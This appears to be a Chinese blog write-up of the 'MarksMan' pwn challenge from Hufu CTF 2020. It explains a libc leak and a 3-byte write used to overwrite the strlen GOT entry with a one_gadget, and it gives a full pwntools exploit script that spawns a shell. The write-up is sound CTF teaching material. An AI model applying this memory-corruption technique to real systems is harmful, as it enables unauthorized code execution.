虎符CTF2020 部分题目复现(连续更新)

PWN

0x0 MarksMan

【保护】:
在这里插入图片描述
【代码】:
在这里插入图片描述

  • 很明显程序一开始就向我们泄露了libc的内存,如果通过检测,就可以任意地址写3个字节。如果能找到一处可控的调用,直接修改程one_gadget就可以了。
  • 看看这个check检查了什么
    在这里插入图片描述
  • 这是过滤了部分字节,默认的one_gadget只能查看很少的可用地址,需要加上 -l参数,并指定一个较小的数字,如2,这样就能够得到更多可用地址。
  • 现在来看看到底怎么找可控的调用。程序最后是会调用puts函数的,自己写一个demo做测试可以发现,puts函数内部会先调用strlen,而此函数正好可以在libcgot找到。所以思路就是修改strlenlibc中的got项。

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level=1
file='chall'
lib='./libc.so.6'
p=process('./'+file, env={'LD_PRELOAD':lib})#remote('39.97.210.182',10055)
PIE=p.libs()[p.cwd+'/'+file]
success('PIE:'+hex(PIE))
libc=ELF(lib,checksec=False)

p.recvuntil('near: ')
puts=int(p.recvuntil('\n'),16)
libc_base=puts-libc.sym['puts']
one=0xe585f
target=0x3eb0a8+libc_base
success('target:'+hex(target))
success('libc_base:'+hex(libc_base))
success('GOT:'+hex(0x01ead60+libc_base))
success('shoot:'+hex((one+libc_base)&0xffffff))

shoot=(one+libc_base)&0xffffff
p.sendlineafter('shoot!shoot!\n',str(target))
p.sendlineafter('biang!\n',p8(shoot&0xff))
p.sendlineafter('biang!\n',p8((shoot>>8)&0xff))
p.sendlineafter('biang!\n',p8((shoot>>16)&0xff))

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值